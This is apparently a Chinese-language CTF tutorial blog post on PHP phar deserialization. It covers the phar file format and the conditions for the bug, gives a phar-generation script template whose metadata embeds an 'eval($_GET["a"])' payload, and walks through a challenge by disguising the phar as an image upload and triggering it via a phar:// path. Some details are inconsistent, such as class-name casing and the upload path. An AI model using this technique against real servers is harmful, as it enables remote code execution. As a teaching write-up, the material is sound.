基础:
Phar是一种PHP文件归档格式,它类似于ZIP或JAR文件格式,可以将多个PHP文件打包成一个单独的文件(即Phar文件)。
打包后的Phar文件可以像普通的PHP文件一样执行,可以包含PHP代码、文本文件、图像等各种资源,也可以对Phar文件进行签名、压缩和加密,我们还可以在文件包含中使用phar伪协议,可读取.phar文件。
phar文件格式:
stub.phar 文件标识,格式为xxx<?php xxx;_HALT_COMPiLER();?>;
manifest 压缩文件的属性等信息,以序列化存储;
contents 压缩文件的内容;
signature 签名,放在文件的末尾;
phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化。
漏洞前提:PHP>=5.2在php.ini中将phar.readonly设为Off(注意去掉前面的分号)
必须满足的条件:
提交:file=etc/passwd返回true
phar文件能够上传到服务器端;
要有可用反序列化魔术方法作为跳板;
要有文件操作函数,如file_exists(),fopen(),file_get_contents()
文件操作函数参数可控,且:/ 和phar等特殊字符没有被过滤
<?php
highlight_file(__FILE__);
class Testobj
{
var $output='';
}
phar文件生成脚本模板:
@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new Testobj();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>
phar伪协议读取:
?filename=phar://test.phar
来道题目练练手:一共两个页面。
<?php
highlight_file(__FILE__);
error_reporting(0);
class TestObject {
public function __destruct() {
include('flag.php');
echo $flag;
}
}
$filename = $_POST['file'];
if (isset($filename)){
echo md5_file($filename);
}
//upload.php
?>
访问upload.php还有一个可以文件上传的网页。
老样子,还是五步法解决反序列化题目:五步法带你搞定反序列化难题-CSDN博客
第一步:我的目的在哪里?
class TestObject {
public function __destruct() {
include('flag.php');
echo $flag;
}
}
第二步:我能控制啥?
$filename = $_POST['file'];
第三步:这串代码正常情况下怎么运行的?
就一个POST文件上传。
第四步:我该从哪里入手,用我所能够控制的去执行恶意代码?
对待这一步有一个法则:从后往前推,推导到我所能控制的东西。
问题:怎么输出flag?
答:反序列化TestObject触发__destruct() 魔术方法,输出flag
问:怎么结合文件上传能够触发这个魔术方法?
答:代码符合了以上所说的phar漏洞的所有基础,甚至还有个文件上传页面,就差直接告诉你这里要使用phar文件漏洞了。
第五步:开始构造反序列化漏洞
运用上面
phar文件生成脚本模板:
@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new Testobj(); //改这个实例化对象,对象是啥就复制啥进去。
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>
根据模板和题目写phar文件:套用模板就一步:把题目对象复制进来,new一个实例化对象,就搞定了。
<?php highlight_file(__FILE__); class TestObject {} @unlink('test.phar'); //删除之前的test.par文件(如果有) $phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀 $phar->startBuffering(); //开始写文件 $phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub $o=new Testobject(); $o->output='eval($_GET["a"]);'; $phar->setMetadata($o);//写入meta-data $phar->addFromString("test.txt","test"); //添加要压缩的文件 $phar->stopBuffering(); ?>
把php版本改低点,弄到7.0左右,不然这个脚本会报错
根据需要改后缀变成图片,接着文件上传
上传成功后
在POST
file=phar://upload/test.php
就拿下这道题目了
希望本文能够帮助大家学习phar反序列化漏洞!